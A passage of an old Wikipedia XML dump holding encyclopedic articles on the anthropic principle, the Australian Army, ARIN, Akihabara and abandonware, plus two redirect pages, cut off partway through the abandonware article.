Recent publications (2004) by [[Stephen Hawking]] suggest that our universe is much less 'special' than the proponents of the anthropic principle claim it is. According to Hawking, there is a 98% chance that a universe of a type as ours will come from a [[Big Bang]]. Further, using the basic wavefunction of the universe as basis, Hawking's equations indicate that such a universe can come into existence without relation to anything prior to it, meaning that it could come out of nothing.  As of 2004, however, these publications and the theories in them are still subject to scientific debate, and in the past, Hawking himself has asked, &quot;What is it that breathes fire into the [[physical law|equations]] and makes a universe for them to describe?...Why does the universe go to all the bother of existing?&quot; (Hawking, 1988).

== Anthropic principle in string theory ==
{{main|anthropic landscape}}

[[String theory]] predicts a large number of possible universes, called the backgrounds or [[vacua]]. The set of these of vacua is often called the anthropic landscape or string landscape. Some physicists, such as [[Leonard Susskind]], argue that the existence of a large number of vacua puts the anthropic reasoning on firm ground. Others, most notably [[David Gross]] but also [[Lubos Motl]] and [[Peter Woit]], argue that this is not predictive.  [[Steven Weinberg]] described the anthropic principle as a &quot;turning point&quot; in the history of science in his 2005 paper on the string landscape, &quot;Living in the multiverse&quot;.

== Anthropic bias and anthropic reasoning ==

In [[2002]], [[Nick Bostrom]] asked &quot;Is it possible to sum up the essence of [[observation selection effect]]s in a simple statement?&quot; He concluded that it might be, but that:

:Many 'anthropic principles' are simply confused. Some, especially those drawing inspiration from Brandon Carter's seminal papers, are sound, but... they are too weak to do any real scientific work. In particular, I argue that existing methodology does not permit any observational consequences to be derived from contemporary cosmological theories, in spite of the fact that these theories quite plainly can be and are being tested empirically by astronomers. What is needed to bridge this methodological gap is a more adequate formulation of how observation selection effects are to be taken into account.

His [[Self-Sampling Assumption]] is &quot;that you should think of yourself as if you were a random observer from a suitable reference class.&quot; This he expands into a model of [[anthropic bias]] and [[anthropic reasoning]] under the uncertainty introduced by not knowing your place in our [[universe]] - or even who &quot;we&quot; are. This may also be a way to overcome various [[cognitive bias]] limits inherent in the humans doing the observation and sharing [[models of our universe]] using [[mathematics]], as suggested in the [[cognitive science of mathematics]].

== See also ==
*[[Fine-tuned universe]]
*[[Doomsday argument]]
*[[Inverse gambler's fallacy]]
*[[Big bounce|Big Bounce]]
*[[Anthropic landscape]]
*[[Cosmological natural selection]]

==References==

* {{cite book
 | last = Hawking | first = Stephen W.
 | year = 1988
 | title = A Brief History of Time
 | pages = p.174
 | location = New York
 | publisher = Bantam Books
 | id = ISBN 0-553-34614-8
 }}

==External links==

* {{cite journal
 | author = Kane, Gordon L., Malcolm J. Perry, and Anna N. Zytkow
 | title=The Beginning of the End of the Anthropic Principle
 | journal = New Astron. 
 | volume = 7 
 | year = 2002
 | pages = 45–53
 | id={{arxiv|archive=astro-ph|id=0001197}}
 }}

* [http://arXiv.org/find/astro-ph/1/OR+ti:+AND+anthropic+principle+abs:+AND+anthropic+principle/0/1/0/all/0/1 debate among scientists on arxiv.org]

* Anthropic Reasoning, Stephen Hawking [http://www.phys.cwru.edu/events/cerca_video_archive.php Kavli-CERCA Conference Video Archive]

* {{cite journal
 | author = A. Feoli, and S. Rampone
 | id = {{arxiv|archive=gr-qc|id=9812093}}
 | title = Is the Strong Anthropic Principle too weak?
 |journal = Nuovo Cim.
 | volume = B114
 |  year = 1999
 | pages = 281–289
 }}
* [http://www.epicidiot.com/evo_cre/13cards.htm Evolutionary Probability and Fine Tuning]

* [http://www.epicidiot.com/evo_cre/vr_privileged_planet.htm Critical review of &quot;The Privileged Planet&quot;]

* Living in the multiverse Steven Weinberg (2005) [http://arxiv.org/abs/hep-th/0511037 arXiv:hep-th/0511037]

== Footnote ==
{{fnb|(1)}} The principle had, however, been invoked before then, e.g. in 1957, R.H. Dicke wrote: 'The age of the Universe &quot;now&quot; is not random but conditioned by biological factors ... [changes in the values of the fundamental constants of physics] would preclude the existence of man to consider the problem.' (R.H. Dicke, ''Principle of Equivalence and Weak Interactions'', Rev.Mod.Phys. 29, 355 (1957).) Even earlier statements of the principle may be found in [[Alfred Russel Wallace]]'s book ''Man's Place in the Universe'', which was first published in 1903. For example: &quot;such a vast and complex universe as that which we know exists around us, may have been absolutely required ... in order to produce a world that should be precisely adapted in every detail for the orderly development of life culminating in man.&quot; (pp. 256-7 in the 1912 edition).

It also has analogs in, e.g., [[Karl Marx]]'s theory of [[historical materialism]]: &quot;The first premise of all human history is, of course, the existence of living human individuals. Thus the first fact to be established is the physical organisation of these individuals and their consequent relation to the rest of nature.&quot; (''The German Ideology'', [http://www.marxists.org/archive/marx/works/1845/german-ideology/ch01a.htm#a2 ch. 1])

[[Category:Cosmology]]

[[ca:Principi antròpic]]
[[de:Anthropisches Prinzip]]
[[es:Principio antrópico]]
[[fr:Principe anthropique]]
[[it:Principio antropico]]
[[he:הטיעון האנתרופי]]
[[nl:Antropisch principe]]
[[pl:Zasada antropiczna]]
[[ru:Антропный принцип]]
[[sl:Antropično načelo]]
[[vi:Nguyên lý vị nhân]]</text>
    </revision>
  </page>
  <page>
    <title>Application program</title>
    <id>2793</id>
    <revision>
      <id>15901183</id>
      <timestamp>2005-06-06T02:21:15Z</timestamp>
      <contributor>
        <username>R. S. Shaw</username>
        <id>102175</id>
      </contributor>
      <comment>chg redir from comp soft to app soft</comment>
      <text xml:space="preserve">#REDIRECT [[Application software]]</text>
    </revision>
  </page>
  <page>
    <title>Australian Army</title>
    <id>2795</id>
    <revision>
      <id>42143017</id>
      <timestamp>2006-03-04T02:37:23Z</timestamp>
      <contributor>
        <username>OneEuropeanHeart</username>
        <id>633536</id>
      </contributor>
      <minor />
      <comment>organised and corrected links</comment>
      <text xml:space="preserve">{{Australian Army}}
[[Image:Australianarmy.gif|right|thumb|The Australian Army Emblem]]
The '''Australian Army''' is [[Australia|Australia's]] military land force. It is part of the [[Australian Defence Force]] (ADF) along with the [[Royal Australian Navy]] and the [[Royal Australian Air Force]].

The Australian Army is commanded by the Chief of the Army (CA), who is responsible to the Chief of the Defence Force (CDF).

As well as ground troops, approximately 80 [[Leopard MBT|Leopard tanks]] and artillery, it also operates helicopters: [[UH-60 Black Hawk|Blackhawk]], [[CH-47 Chinook|Chinook]], and has taken delivery of the first of  22 [[Eurocopter Tiger]] Armed Reconnaissance Helicopters (with the last of the [[UH-1 Iroquois]] serving with distinction in [[Aceh]] for humanitarian relief after [[2004 Indian Ocean earthquake]] before removal from service.) Recently plans have been announced to procure 59 [[M1 Abrams|M1A2 tanks]] and 7 M88 Hercules II armoured recovery vehicles.

Australian soldiers have been involved in a number of minor and major conflicts throughout its history, but only in [[World War II]] did Australian territory come under direct attack.

The history of the Australian Army can be divided into two periods:
*1901-47, when limits were set on the size of the '''regular army''', the vast majority of peacetime soldiers were in the '''reserve army''' units of the [[Australian Citizens Military Force]] (also known as the CMF or Militia), and [[Australian Imperial Force]]s were formed to serve overseas, and
*post-1947, when a standing peacetime [[infantry]] force was formed and the CMF (known as the Army Reserve after 1980) began to decline in importance.

The army has been involved in many peacekeeping operations, usually under the auspices of the [[United Nations]]. The biggest one began in 1999 in [[East Timor]]. Other notable operations include peacekeeping on [[Bougainville]] and in the [[Solomon Islands]], which are ongoing as of May 2004. Humanitarian relief after [[2004 Indian Ocean earthquake]] in [[Aceh]] Province, [[Indonesia]], [http://www.defence.gov.au/optsunamiassist/default.htm Operation Sumatra Assist], ended on [[24 March]] [[2005]].

==The Army Today==
{{further|[[Modern Equipment and Uniform of the Australian Army]]}}

===Organisation===
The Australian Army is currently organised around two Division headquarters. The Deployable Joint Force Headquarters/1st Division has responsibility for the majority of the regular army, while 2nd Division is the main home defence formation, containing Army Reserve units. The regular army is organised around the six battalion [[Royal Australian Regiment]] - three of these are standard light infantry, with two of the others roled as paratroops and mechanised infantry. The final battalion is a specialised commando unit class as special forces. The [[Royal Australian Armoured Corps]] has three regular regiments, one of main battle tanks and two light cavalry (formation reconnaissance). These forces, together with the associated combat support (artillery, engineers, signals) and combat service support (logistics, maintainence etc) are based around two deployable brigades, [[Australian 1st Brigade|1 Brigade]], which is primarily a heavy mechanised formation, and [[Australian 3rd Brigade|3 Brigade]], which is a light, air deployable formation. [[Australian 7th Brigade|7 Brigade]] is an integrated Regular/Reserve formation that would primarily be used in conjunction with DJHQ were it ever to be deployed overseas.

===Statistics===
{| class=&quot;wikitable&quot;
|+ Australian Army statistics
|-
| Personnel (Regular Army) 
| 25,200 
|- 
| Personnel ([[Australian Army Reserve|Army Reserve]]) 
| 17,200
|- 
| [[Tank classification#Late twentieth century: the main battle tank|Main Battle Tank]]s
| 71 [[Leopard tank|Leopard 1]]
|- 
| [[Infantry fighting vehicle]]s
| 113 [[ASLAV]] (+144 being delivered)
|-
| [[Armoured Personnel Carrier]]s 
| 700 [[M113]] (350 being upgraded to M113AS3/4 standard, balance to be mothballed)
|-
| [[Infantry Mobility Vehicle]]s 
| 299 [[Bushmaster IMV]] (being delivered)
|-
| [[Land Rover]]s 
| 
|-
| [[Artillery]]
| 376
|-
| [[Aircraft]]
| 132
|}

===Current deployments===
The Australian Army currently has significant forces deployed on two major operations:
*'''Operation Catalyst''' - Australia's commitment to the Coalition forces in [[Iraq]]. The army's contribution includes:
**[[Al Muthanna Task Group]]; this is a [[battlegroup (army)|battlegroup]] consisting of a headquarters, infantry company, armoured squadron and training team, with a total of 450 personnel. This has two tasks:
***Provide a secure environment for the Japanese Iraq Reconstruction and Support Group (JIRSG) 
***Assist in the training of local Iraqi Army units so that they are able to take over the internal and external defence of their country
**Australian Army Training Team; this encompasses 55 personnel providing logistic training to the [[new Iraqi Army]].
**Embassy security detatchment; this provides security protection and escort for staff at the Australian Embassy in [[Baghdad]], and consists of 100 personnel.
*'''[[Operation Slipper]]''' - Australia's commitment to the [[War on Terror]]. The army contribution is primarily concentrated in [[Afghanistan]] and consists of a '''Special Operations Task Group''' of personnel from the [[Special Air Service Regiment]], [[4th Battalion, Royal Australian Regiment]] and [[Incident Response Regiment]].
*In addition to these, small numbers of personnel are deployed on various operations around the world, including [[Timor-Leste]], the [[Solomon Islands]], and on peacekeeping duties with the [[Multinational Force and Observers]] and the [[United Nations]].
===&quot;Hardened and Networked Army&quot;===
On [[15 December]] [[2005]], the then Australian Minister for Defence, [[Robert Hill (Australian politician)|The Hon. Senator Robert Hill]] announced  that the Australian Army would be restructured and redeveloped in the biggest ADF shake up in over 50 years. The policy of creating a  'Hardened and Networked' Army will see a major reorganisation of both the regular Army and Army Reserve. The overriding rationale for this is to bring about &quot;A reduction in singular capabilities that can not be rotated, hence an 'Army of twos'&quot;{{fn|1}}. This will involve the army being organised so that it can deploy a number of [[battlegroup (army)|battlegroups]], consisting of infantry, armour, artillery etc in the correct proportions relavent to each type of mission. For this, nine separate army units are being structured to act as battlegroup headquarters:
*[[1st Battalion, Royal Australian Regiment|1st]], [[2nd Battalion, Royal Australian Regiment|2nd]], and [[6th Battalion, Royal Australian Regiment|6th]] Bn, [[Royal Australian Regiment]] are standard light infantry battalions, with [[5th/7th Battalion, Royal Australian Regiment|5/7 Bn]] as a mechanized battalion. The [[3rd Battalion, Royal Australian Regiment|3rd Bn]] is classed as a light infantry unit in the parachute role, though it is scheduled to convert to a mechanized battalion by 2011. 
*[[1st Armoured Regiment]]
*[[2nd Cavalry Regiment]]
*[[2nd/14th Light Horse Regiment|2nd/14th Light Horse Regiment (Queensland Mounted Infantry)]]
*[[Australian 1st Aviation Regiment|1st Aviation Regiment]]

The 3rd Battalion, Royal Australian Regiment will be relocated from Sydney to Adelaide, converting from its current parachute role into a mechanised unit. This new 'battle group' will take on a similar role to 5/7th Battalion, Royal Australian Regiment which is the major mechanised battalion. By the end of this process in approximately 2015, [[Australian 1st Brigade|1 Brigade]] will be the army's major mechanised formation. The armoured units of the Army Reserve in 2nd Division will be restructured, with four becoming pure light cavalry and the fifth being utilised in the armoured lift role. 

{{fnb|1}}[http://www.defence.gov.au/army/hna/default2.htm Hardened and Networked Army]

==Rank and Insigina of the Australian Army==
The Ranks of the Australian Army are based on the ranks of the [[British Army]], and carry mostly the same actual insignia. Other than the shoulder title &quot;Australia&quot;, the [[Officer (armed forces)|Officer]] ranks are exactly identical. The [[Non-Commissioned Officer]] insignia are the same up until [[Warrant Officer]] ranks, where they are stylised for Australia.

==Historical units and related topics==
*[[Australian Citizens Military Force|Citizens Military Force/Militia/Army Reserve]] (1901&amp;ndash; )
*[[Australian commandos]], 1941-
*[[Australian Naval and Military Expeditionary Force]] (1914)
* [[Australian Imperial Force]]s
** [[First Australian Imperial Force]] (1914&amp;ndash;19)
*** [[Australian 1st Division (World War I)|Australian 1st Division]]
*** [[Australian 2nd Division (World War I)|Australian 2nd Division]]
*** [[Australian 3rd Division (World War I)|Australian 3rd Division]]
*** [[Australian 4th Division (World War I)|Australian 4th Division]]
*** [[Australian 5th Division (World War I)|Australian 5th Division]]
** [[Second Australian Imperial Force]] (1939&amp;ndash;46)
*** [[Australian 6th Division]]
*** [[Australian 7th Division]]
*** [[Australian 8th Division]]
*** [[Australian 9th Division]]
*** [[Australian 10th Division]]
*** [[Australian 1st Armoured Division]]
*[[Papua New Guinea Volunteer Rifles|New Guinea Volunteer Rifles/Papua New Guinea Volunteer Rifles]] (1939-73)
*[[Royal Pacific Islands Regiment|Pacific Islands Regiment]] (1944-1975)
*[[Australian Army Training Team Vietnam]] (1962-1972)

==Conflicts Involving the Australian Army ==
* [[South African War]] (Second Boer War)
* [[World War I]]
** [[Military history of Australia during World War I]]
** [[First Australian Imperial Force]]
** [[Australian and New Zealand Army Corps]]
* [[World War II]]
** [[Second Australian Imperial Force|2nd AIF]]
** [[Australian Citizens Military Force|CMF]]
** [[Pacific War]] (1942&amp;ndash;45)
* [[Malayan Emergency]]
* [[Korean war]]
* [[Indonesian Confrontation]]
* [[Vietnam war]]
** [[Battle of Long Tan]]
* [[Gulf War]]
* [[U.S. invasion of Afghanistan]]
* [[2003 invasion of Iraq]]

==Articles on Conscription and National Service==
* [[Conscription]]
* [[Conscription in Australia]]
* [[Conscientious objection]]
* [[National Service]]

==Sources==

* [http://edition.cnn.com/2005/WORLD/meast/06/15/iraq.australian.hostage/index.html CNN] - Australian hostage freed in Iraq (June 15, 2005)
* [http://www.defence.gov.au/opfalconer/ Department of Defence] - Operation Falconer
* [http://www.minister.defence.gov.au/Hilltpl.cfm?CurrentId=2637 Office of the Defence Minister] - Australian troops to start coming home (April 17, 2005)

==See also==
* [[Military of Australia]], root page

==External links==

*Website: http://www.army.gov.au
*recruitment: http://www.defencejobs.gov.au
* Defence Force Community: http://www.AusSpecialForces.com

{{Australian Defence Force}}

[[Category:Armies|Australia]]
[[Category:Military of Australia]]
[[Category:Australian Army]]
[[Category:Australian Military Topics]]</text>
    </revision>
  </page>
  <page>
    <title>American Registry for Internet Numbers</title>
    <id>2799</id>
    <revision>
      <id>39601736</id>
      <timestamp>2006-02-14T16:10:32Z</timestamp>
      <contributor>
        <ip>192.136.136.70</ip>
      </contributor>
      <comment>/* Board of Trustees */</comment>
      <text xml:space="preserve">[[Image:Arin_logo.jpg|right|ARIN logo]]

The '''American Registry for Internet Numbers''' ('''ARIN''') is the [[Regional Internet Registry]] (RIR) for [[Canada]], the [[United States]], and portions of the [[Caribbean]]. 

Established in December 1997, ARIN is incorporated as a nonprofit in the Commonwealth of Virginia, USA. ARIN is one of five (5) RIRs. Like the other RIRs, ARIN:

* Provides services related to the technical coordination and management of Internet number resources in its respective service region. 
* Participates in the global Internet community;
* Facilitates the development of policy decisions made by its members and the stakeholders in its region;
* Is a nonprofit, membership organization;
* Is governed by an executive board elected by its membership.

== Services ==

ARIN provides services related to the technical coordination and management of Internet number resources. The nature of these services is described in ARIN's mission statement:

:''Applying the principles of stewardship, ARIN, a nonprofit corporation, allocates Internet Protocol resources; develops consensus-based policies; and facilitates the advancement of the Internet through information and educational outreach.''

These services are grouped in three areas: Registration, Organization, and Policy Development.

=== Registration Services ===

Registration Services pertain to the technical coordination and management of Internet number resources. They include:

* IP address space allocation, transfer, and record maintenance
* ASN allocation, transfer, and record maintenance
* Directories
** Registration transaction information (WHOIS)
** Routing information (Internet Routing Registry)
* DNS (Reverse)

=== Organization Services ===

Organization Services pertain to interaction between ARIN members and stakeholders and ARIN. They include:

* Elections
* Members Meetings
* Information publication and dissemination
* Education and training

=== Policy Development Services ===

Policy Development Services facilitate the development of policy for the technical coordination and management of Internet number resources in the ARIN region. They include:

* Maintaining discussion e-mail lists
* Conducting Public Policy Meetings
* Publishing policy documents

== Structure ==

ARIN is a nonprofit service organization that is responsive to the needs of the public it serves. Stakeholders in the community drive policies and activities, thus enabling ARIN to keep in step with their requirements. The organizational structure of ARIN is comprised of a 7-member Board of Trustees, a 15-member Advisory Council, and a professional staff of nearly 40. The Board of Trustees and Advisory Council are elected by ARIN members for three-year terms.

=== Board of Trustees ===

The ARIN membership elects the Board of Trustees, which has ultimate responsibility for the business affairs and financial health of ARIN, and manages ARIN's operations in a manner consistent with the guidance received from the Advisory Council and the goals set by the registry's members. The Board is responsible for determining the disposition of all revenues received to ensure that all services are provided in an equitable manner.

The Board votes on proposals generated from the membership and submitted through the Advisory Council. Executive decisions are carried out following approval by the Board.

The Board of Trustees consists of 7 members. Six members are elected by ARIN's membership and the President of ARIN serves as the seventh Trustee. Current members of the Board include Secretary Scott Bradner, Treasurer Lee Howard, President Ray Plzak, and the Chairman, [[John Curran]], as well as Trustees Bill Manning, Bill Woodcock, and [[Paul Vixie]].

=== Advisory Council ===

In addition to the Board of Trustees, ARIN has an Advisory Council. The Advisory Council serves in an advisory capacity to the Board of Trustees on IP allocation policy and related matters. Adhering to the procedures in the Internet Resource Policy Evaluation Process, the Advisory Council forwards consensus-based policy proposals to the Board for ratification, as well as membership proposals to the Board for formal votes.

The Advisory Council consists of 15 elected members. The President of ARIN is an ex-officio member and acts as the liaison between the Board of Trustees and the Advisory Council. The current chair of the Advisory Council is Ron da Silva.

==History==

[[Image:Arinlogo-sml.jpg|left|ARIN Logo from 1998 until 2001]] 

The organization was formed in December 1997 to &quot;provide [[Internet Protocol|IP]] registration services as an independent, nonprofit corporation.&quot; Until this time IP registration in the ARIN region was done by a department within the [[Network Solutions]] corporation, which provided the initial staff and  computer infrastructure for ARIN.

The first president of ARIN was Kim Hubbard, from 1997 until 2000. The current president of ARIN is Raymond Plzak.

Until late [[2002]] it served [[Mexico]], [[Central America]], [[South America]] and all of the [[Caribbean]]. [[LACNIC]] now handles parts of the Caribbean, Mexico, Central America, and South America. Also, [[Sub-Saharan Africa]] was part of its region until recently, when [[AfriNIC]] was officially recognized by [[ICANN]] as the fifth [[Regional Internet Registry]] in April 2005. 

==Service Region==

The countries in the ARIN service region are:

* [[Anguilla]]
* [[Antigua and Barbuda]]
* [[Bahamas]]
* [[Barbados]]
* [[Bermuda]]
* [[Bouvet Island]] (Norway)
* [[Canada]]
* [[Cayman Islands]] (U.K.)
* [[Dominica]]
* [[Grenada]]
* [[Guadeloupe]] (France)
* [[Heard and McDonald Islands]] (Australia)
* [[Jamaica]]
* [[Martinique]] (France)
* [[Puerto Rico]] (U.S.)
* [[Saint Kitts and Nevis]]
* [[Saint Lucia]]
* [[Saint Vincent and the Grenadines]]
* [[St. Helena]] (U.K.)
* [[St. Pierre and Miquelon]] (France)
* [[United States]]
* [[United States Minor Outlying Islands]]
* [[British Virgin Islands]] (U.K.)
* [[US Virgin Islands]] (U.S.)

===Former service region===
ARIN covered [[Angola]], [[Botswana]], [[Burundi]], [[Republic of Congo]], [[Democratic Republic of Congo]], [[Malawi]], [[Mozambique]], [[Namibia]], [[Rwanda]], [[South Africa]], [[Swaziland]], [[Tanzania]], [[Zambia]], and [[Zimbabwe]] until [[AfriNIC]] was formed.

ARIN covered [[Argentina]], [[Aruba]], [[Belize]], [[Bolivia]], [[Brazil]], [[Chile]], [[Colombia]], [[Costa Rica]], [[Cuba]], [[Dominican Republic]], [[Dutch West Indies]], [[Ecuador]], [[El Salvador]], [[Falkland Islands]] (U.K.), [[French Guiana]], [[Guatemala]], [[Guyana]], [[Haiti]], [[Honduras]], [[Mexico]], [[Nicaragua]], [[Panama]], [[Paraguay]], [[Peru]], [[South Georgia and the South Sandwich Islands]], [[Suriname]], [[Trinidad and Tobago]], [[Uruguay]], and [[Venezuela]] until [[LACNIC]] was formed.

==External links==
* [http://www.arin.net/ ARIN Home Page]

[[Category:Regional Internet Registries]]

[[de:American Registry for Internet Numbers]]
[[ja:American Registry for Internet Numbers]]</text>
    </revision>
  </page>
  <page>
    <title>Asimov</title>
    <id>2800</id>
    <revision>
      <id>26481981</id>
      <timestamp>2005-10-25T23:18:28Z</timestamp>
      <contributor>
        <ip>171.64.139.118</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Isaac Asimov]]</text>
    </revision>
  </page>
  <page>
    <title>Akihabara</title>
    <id>2802</id>
    <revision>
      <id>42124293</id>
      <timestamp>2006-03-03T23:56:33Z</timestamp>
      <contributor>
        <username>Dannychoo</username>
        <id>390128</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">'''Akihabara''' (&amp;#31179;&amp;#33865;&amp;#21407;) is also known as '''Akihabara Electric Town''' (Akihabara Denki Gai).  It is located less than five minutes by rail from [[Tokyo Station]], [[Tokyo]], [[Japan]]. Its name is sometimes shortened to ''Akiba'' by locals. While there is an official locality named Akihabara nearby, part of [[Taito-ku, Tokyo|Taito-ku]], the area known to most people as ''Akihabara'' (including the [[Japan Railway|JR]] railway station of the [[Akihabara Station|same name]]) is actually Soto-Kanda, a part of [[Chiyoda, Tokyo|Chiyoda]]-ku.
[[Image:Akihabara_picture.jpg|300px|right|thumb|Akihabara in 2003]]

Akihabara is best-known as one of the largest shopping area on Earth for electronic, computer, [[anime]], and [[otaku]] goods, including new and used items. New items are mostly to be found on the main street, Chuo Dori, with used items of all descriptions (software, hardware, and junk galore) to be found in the back streets of Soto Kanda 3 chome. First hand parts for the do-it-yourself PC builder are readily available, with many places around for the hunter of the best price. Tools, electrical parts, wires, microsized cameras and more are to be found in the cramped (some might say dangerously so) passageways of Soto Kanda 1 chome (near the station). Foreign tourists tend to visit the big name shops like Laox or other speciality shops near the station. The locals, of course, know where to find better variety and prices, a little farther away.

==Otaku Culture==
[[Otaku]] culture in Akihabara is rather famous. Many people there have unique lifestyles, centered on technological enterprises and a love for Anime/Manga, that have made them outsiders in other sections of Japanese society. Otaku are afforded the chance to gather here and avoid alienation imposed by others who do not share their specific interests. The presence of such prolific &quot;geeky&quot; behavior has led to Akihabara being seen as a mecca of sorts for otaku.

==Brief history==
*The area was originally referred to by the name of the lumber dealer who occupied the site. To this day the East side of Akihabara retains the name of the lumber dealer　- 佐久間　- as a memorial.
*A major blaze which nearly destroyed the district brought about the decision to clear the land in order to keep future fires from approaching the imperial residence.
*After this, the area then known as（鎮火社）was increasingly referred to by everybody as Akihabara（秋葉原）for the autumn leaves that adorned the tall pines in the area.
*1888 – The removal of pine trees from Akihabara.
*1890 – Extension of [[JR]] rail line (now the [[Tohoku Line]]) from [[Ueno]] to Akihabara. At first there was no passenger service, for south of the station was the Akihabara cargo docks, where goods from all over the world would flow into Kanda by river and be hauled up the east bank of the canal to be ticketed at the central cargo transport window.
*From the [[Meiji]] to the [[Showa]] period, as the electric railway improved transport to Akihabara and the surrounds, and especially  due to the growth in dealerships, the district was designated as Seika city (青果市 – lit. Produce Market Town).
*1925 – Akihabara-Tokyo station connection opened as the Tohoku line extended to Tokyo.
*1932 – As the Green Line station opened with an interconnection, Akihabara became an important transfer point.
*1935 – Official establishment of Seika City. (Kanda/Seika city).
*1936 – The site of the “Eternal Grand Central” railway station was cleared (now abandoned). Railway mania had reached its zenith. The area became the number 1 place for electricity supplies.  
*After [[World War Two]], a black market at Kanda developed around the first school of electrical manufacturing (now the Tokyo Technical College). Clustered around the Sobu underground line, what began as a host of electrical stores selling vacuum tubes, radio goods and electrical items to the students, has today come to be known as Electric Town. Called ‘Musen’ or ‘Wireless’ shops, they were the first to begin selling radios. With the advent of wireless and radio goods, people came to be much more connected.
*1960’s – Thanks to superbly advanced technology, the rival Nipponbashi district of [[Osaka]] took its position as an equally prominent Electric Town, selling vast volumes of household consumer durables such as televisions, fridges and washing machines.
*1980’s – Accompanying the spread of the PC in family homes (‘Famikon’), local shops increasingly began to deal in computer games, and major gaming chain stores appeared on the market.
*1989 – Kanda-Seika city was redesignated as part of [[Taito-ku]].
*1990’s -  With the Yamada and Kojima household chain stores appearing throughout the suburban outskirts of Tokyo, the sale of consumer durables at Akihabara was greatly reduced, however the sale of computer goods increased in equal measure.
*1994 – The PC (‘Pasokon’) boom and accompanying computer store growth began.
*It was also during the 1990s that the anime craze grew out of computer games, and the youth group known as [[Otaku]] began to pour into Akihabara.
*Since 2000, with name-brand computer sales in decline, [[anime]] shops have arisen in their place, selling to the [[Otaku]] crowd.

==External links==
{{commons|Category:Akihabara}}
*{{Wikitravelpar|Tokyo/Akihabara}}
*{{ja icon}} [http://www.akiba.or.jp/ Akihabara Official website]
*{{en icon}} [http://www.akiba.or.jp/english/ Akihabara Official website]
*{{en icon}} [http://www.dannychoo.com/ Akihabara toys, events and movies]
*{{en icon}} {{Wikitravelpar|Tokyo/Akihabara}}
*{{en icon}} [http://www.washingtonpost.com/wp-dyn/content/article/2005/06/06/AR2005060601767.html Washington Post: In Tokyo, a Ghetto of Geeks]
*{{en icon}} [http://www.mondophoto.net/asia/japan/tokyo/tokyo27.html#akihabara Mondophoto.net - more than 900 photos of Tokyo and Akihabara]

[[Category:Neighborhoods of Tokyo]]

[[de:Akihabara]]
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[[ja:秋葉原]]
[[zh:秋葉原]]</text>
    </revision>
  </page>
  <page>
    <title>Abandonware</title>
    <id>2803</id>
    <revision>
      <id>42134996</id>
      <timestamp>2006-03-04T01:26:05Z</timestamp>
      <contributor>
        <ip>68.3.18.67</ip>
      </contributor>
      <comment>/* Enforcement of copyright */  Red hat has always been OS</comment>
      <text xml:space="preserve">[[Image:Sopwith-screenshot.png|thumb|right|350px|Screenshot of ''[[Sopwith (computer game)|Sopwith]]'', an example of abandonware]]
'''Abandonware''' is [[computer software]] which is no longer being sold or supported by its [[copyright]] holder. Sometimes, it is used as a blanket category for any software over a certain age, usually five years.

The term has no legal meaning. This means that labeling any kind of software 'abandonware' does not make it legal to distribute it. Unless the author puts the software in the [[public domain]], any and all abandonware remains covered under [[copyright]] law until its copyright term expires.

Alternatively, the term is also used for software which is still available, but on which further support and development have been intentionally discontinued. This article discusses only the first meaning.

==History of abandonware==
Abandonware was quite low-key until the advent of the Internet, which enabled games to be accessible to a large audience. Some of the early abandonware sites include [[Classic Trash]] and [[Home of the Underdogs]], which has survived to this day, and is one of the largest abandonware sites on the internet.

In [[2001]], the [[Entertainment Software Association|ESA]] (or IDSA, as it was called then) began threatening lawsuits on sites that enabled illegal downloading of games belonging to its members. This resulted in many sites shutting down altogether.

==Abandonware and the Law==

Signatories of the [[World Intellectual Property Organization]] (WIPO) Treaty do not recognize a legal concept of abandonware in copyrights.  There is a long held concept of &quot;abandonment&quot; in [[trademark law]], but it is a direct result of the infinite term of trademark protection. Currently, for copyrights to be abandoned, the owner must clearly release the copyright in a writing (which has been done).  Non-owners of a copyright cannot merely claim the copyright &quot;abandoned&quot; and start using it without permission of the copyright holder, who would then have a legal remedy.

===United States===

In the United States, the concept of abandonware conflicts with the fundamental copyright concept of awarding a copyright creator a finite term where he/she may enjoy a monopoly on their expression.  Under copyright law, a copyright owner has the right to profit or ''not'' profit on their creation.  The basis for this right in the United States is the [[Copyright Clause]] of the [[United States Constitution]], which empowers the [[United States Congress]]:

:''To promote the Progress of Science and useful Arts, by securing for limited Times to Authors and Inventors the exclusive Right to their respective Writings and Discoveries''

Because Abandonware would conflict with the stated goal of granting &quot;exclusive right&quot; (irrespective of profit), it is not likely to be recognized in the United States.  In [[2003]], the [[United States Supreme Court]] made copyright law more conservative in deciding ''[[Eldred v. Ashcroft]]'', 537 U.S. 186, which affirmed the legality of the [[Copyright Term Extension Act]], an act that extended the current copyright terms by an ''extra'' 20 years.  The decision noted that, so long as a copyright term is finite, it is permissible under the Constitution.  Thus, a copyright in the United States is protected by the full strength of the law until it expires, between 70 and 120 years after initial creation.

==Popular abandonware==
The most common abandonware is old [[computer and video games]] that are often played through [[emulator|emulation]].

Some people feel various older games are more fun than newer games (hence [[old school]] [[video game player|gamer]]s), in part because their [[game designer|designers]] had to concentrate on game-play features rather than [[computer graphics|graphics]]. These games have gained a second life through [[Internet]] distribution. Old-school gamers are responsible for the popularity of console emulation.  An '''abandonware fan''' is a video-game player who enjoys games that are no longer on the market.  In some cases, [[nostalgia]] is a significant factor in the popularity of abandonware video games.

==Enforcement of copyright==
Abandonware's copyright is frequently no longer defended. This can be due to intentional non-enforcement by its owners due to the software's age or obsolescence, but sometimes because the [[corporate]] copyright holder went out of business without transferring ownership, leaving no one to defend the copyright. (Copyrights on works created by an individual become the property of that person's [[estate (law)|estate]] after his/her death.) Nevertheless, some companies vehemently defend their rights to old games from which they're no longer making profit.

Proponents of abandonware argue that it is more ethical to make copies of such software than new software that still sells. Some who are ignorant of copyright law have incorrectly taken this to mean that abandonware is legal to distribute, although no software is old enough for its copyrights to have expired, and even in cases where the original company no longer exists, the rights usually still belong to someone.

Transfer of this software is still technically unlawful in most jurisdictions (except in cases of owner [[dissolution (law)|dissolution]]) as the copyright is still in effect.  Abandonware changes hands based on the presumption that the time and money that a copyright holder would have to spend enforcing the copyright is greater than any money the holder would earn selling software licenses.  Often the availability of abandonware on the Internet is related to the willingness of copyright holders to defend their copyrights.  For example, unencumbered games for [[Colecovision]] are markedly easier to find on the Internet than unencumbered games for [[Mattel Intellivision]] in large part because there is still a company that makes money by selling Intellivision games while no such company exists for the Colecovision.

